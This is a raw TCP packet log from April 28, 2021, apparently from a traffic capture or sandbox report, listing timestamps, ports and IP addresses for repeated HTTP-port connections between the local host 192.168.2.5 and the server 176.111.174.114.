Apr 28, 2021 23:25:32.641074896 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.641130924 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.641294003 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.641751051 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.641844034 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.641952038 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.642074108 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.685605049 CEST	50462	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.688245058 CEST	50463	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.739439964 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.739470005 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.739480019 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.739617109 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.739624977 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.739757061 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.739800930 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.739815950 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.739872932 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.739967108 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.740010977 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.740025997 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.740087032 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.740149021 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.740233898 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.740276098 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.740326881 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.740353107 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.740416050 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.740537882 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.740744114 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.740818977 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.740962029 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.740979910 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.741051912 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.741242886 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.782541990 CEST	80	50462	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.782715082 CEST	50462	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.783817053 CEST	80	50463	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.784024000 CEST	50463	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.785181999 CEST	50463	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.841547966 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841576099 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841587067 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841597080 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841608047 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841619968 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841634989 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841650963 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841665983 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841681004 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841696024 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841713905 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841730118 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841746092 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841761112 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841778040 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841794014 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841809988 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841825962 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.841845036 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.842159986 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.842327118 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.879434109 CEST	80	50463	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.883663893 CEST	80	50463	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.883790970 CEST	50463	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.942456961 CEST	80	50461	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:32.942553997 CEST	50461	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.997309923 CEST	50463	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:32.998681068 CEST	50465	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.093199015 CEST	80	50463	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.093400955 CEST	50463	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.096529961 CEST	80	50465	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.096647024 CEST	50465	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.097114086 CEST	50465	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.192795992 CEST	80	50465	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.196047068 CEST	80	50465	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.196188927 CEST	50465	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.310424089 CEST	50465	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.312968969 CEST	50466	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.407309055 CEST	80	50465	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.407339096 CEST	80	50466	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.407427073 CEST	50465	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.407466888 CEST	50466	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.408133984 CEST	50466	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.501468897 CEST	80	50466	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.505537033 CEST	80	50466	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.505745888 CEST	50466	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.622920990 CEST	50466	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.624804020 CEST	50467	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.716114044 CEST	80	50466	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.716212034 CEST	50466	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.728785038 CEST	80	50467	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.728985071 CEST	50467	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.729646921 CEST	50467	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.833828926 CEST	80	50467	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.837634087 CEST	80	50467	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:33.837816954 CEST	50467	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.951019049 CEST	50467	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:33.953448057 CEST	50469	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.050669909 CEST	80	50469	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.050856113 CEST	50469	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.051413059 CEST	50469	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.055035114 CEST	80	50467	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.055144072 CEST	50467	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.148806095 CEST	80	50469	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.152924061 CEST	80	50469	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.152993917 CEST	50469	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.266318083 CEST	50469	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.267846107 CEST	50470	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.364803076 CEST	80	50469	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.364871025 CEST	50469	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.377635956 CEST	80	50470	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.377739906 CEST	50470	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.378314018 CEST	50470	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.488102913 CEST	80	50470	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.491985083 CEST	80	50470	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.492059946 CEST	50470	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.607017040 CEST	50470	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.609047890 CEST	50471	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.703033924 CEST	80	50471	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.703716993 CEST	50471	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.704220057 CEST	50471	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.715292931 CEST	80	50470	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.716604948 CEST	50470	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.800231934 CEST	80	50471	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.804280043 CEST	80	50471	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:34.805819035 CEST	50471	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.919794083 CEST	50471	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:34.921219110 CEST	50472	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.013603926 CEST	80	50471	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.013676882 CEST	50471	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.020328045 CEST	80	50472	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.020520926 CEST	50472	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.021280050 CEST	50472	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.121807098 CEST	80	50472	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.125423908 CEST	80	50472	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.128933907 CEST	50472	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.150446892 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.245671988 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.245800972 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.246186018 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.263048887 CEST	50472	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.264452934 CEST	50474	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.342767000 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.342936039 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.343139887 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.343239069 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.343410969 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.343539000 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.343728065 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.343820095 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.344013929 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.344115019 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.344296932 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.344357014 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.344388962 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.344429970 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.344782114 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.344881058 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.344923973 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.345017910 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.345249891 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.345340967 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.358849049 CEST	80	50474	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.359010935 CEST	50474	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.360933065 CEST	50474	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.363281012 CEST	80	50472	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.363454103 CEST	50472	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.438026905 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.438114882 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.438164949 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.438227892 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.438520908 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.438590050 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.438659906 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.438726902 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.438750982 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.438831091 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.438905001 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.438981056 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.439560890 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.439584970 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.439650059 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.439673901 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.439846039 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.439912081 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.439944983 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.439960003 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.440006018 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.440026045 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.440308094 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.440373898 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.454310894 CEST	80	50474	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.458112955 CEST	80	50474	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.458631992 CEST	50474	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.534348965 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.534508944 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.534538031 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.534550905 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.534583092 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.534657955 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.534986973 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.535013914 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.535084009 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.535115004 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.535300016 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.535348892 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.535377979 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.535382986 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.535410881 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.535449982 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.535624027 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.535721064 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.535825014 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.535897970 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.535928965 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.535995007 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.536061049 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.536072969 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.536129951 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.536174059 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.536222935 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.536237001 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.536258936 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.536284924 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.536323071 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.536465883 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.536526918 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.537153959 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.537189007 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.537245989 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.576487064 CEST	50474	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.577055931 CEST	50475	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.631242037 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.631557941 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.631592989 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.631781101 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.631810904 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.632337093 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.632380009 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.632407904 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.632694006 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.632720947 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.632797956 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.633193016 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.633219957 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.633243084 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.633389950 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.633438110 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.633754015 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.633980989 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.634008884 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.634591103 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.634627104 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.634651899 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.634675026 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.634810925 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.634838104 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.636593103 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.636779070 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.672130108 CEST	80	50474	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.672362089 CEST	50474	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.675972939 CEST	80	50475	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.676109076 CEST	50475	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.676618099 CEST	50475	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.734111071 CEST	80	50473	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.734313965 CEST	50473	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.773904085 CEST	80	50475	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.777288914 CEST	80	50475	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.777477980 CEST	50475	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.888631105 CEST	50475	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.891465902 CEST	50477	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.988154888 CEST	80	50475	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.988318920 CEST	50475	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.988605022 CEST	80	50477	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:35.988771915 CEST	50477	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:35.989903927 CEST	50477	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.085647106 CEST	80	50477	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.089416027 CEST	80	50477	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.089616060 CEST	50477	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.200800896 CEST	50477	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.201787949 CEST	50478	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.297877073 CEST	80	50477	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.298089981 CEST	50477	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.300333023 CEST	80	50478	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.300477028 CEST	50478	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.301991940 CEST	50478	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.399523020 CEST	80	50478	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.403460979 CEST	80	50478	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.403636932 CEST	50478	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.513735056 CEST	50478	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.516452074 CEST	50479	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.611289024 CEST	80	50478	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.611478090 CEST	50478	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.614347935 CEST	80	50479	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.614465952 CEST	50479	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.615042925 CEST	50479	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.713061094 CEST	80	50479	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.716533899 CEST	80	50479	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.716609955 CEST	50479	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.829189062 CEST	50479	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.840925932 CEST	50481	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.928489923 CEST	80	50479	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.928622961 CEST	50479	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.935499907 CEST	80	50481	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:36.935633898 CEST	50481	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:36.936342955 CEST	50481	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.029891014 CEST	80	50481	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.033540964 CEST	80	50481	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.033793926 CEST	50481	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.138679981 CEST	50481	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.139910936 CEST	50482	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.232060909 CEST	80	50481	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.232235909 CEST	50481	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.239871979 CEST	80	50482	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.240025043 CEST	50482	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.242383003 CEST	50482	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.341917992 CEST	80	50482	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.345895052 CEST	80	50482	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.346016884 CEST	50482	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.467458963 CEST	50482	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.468580961 CEST	50483	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.568547010 CEST	80	50482	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.568578005 CEST	80	50483	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.568687916 CEST	50482	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.568794966 CEST	50483	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.569503069 CEST	50483	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.667323112 CEST	80	50483	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.670625925 CEST	80	50483	176.111.174.114	192.168.2.5
Apr 28, 2021 23:25:37.670716047 CEST	50483	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.779655933 CEST	50483	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.781543016 CEST	50484	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:25:37.878324986 CEST	80	50483	176.111.174.114	192.168.2.5
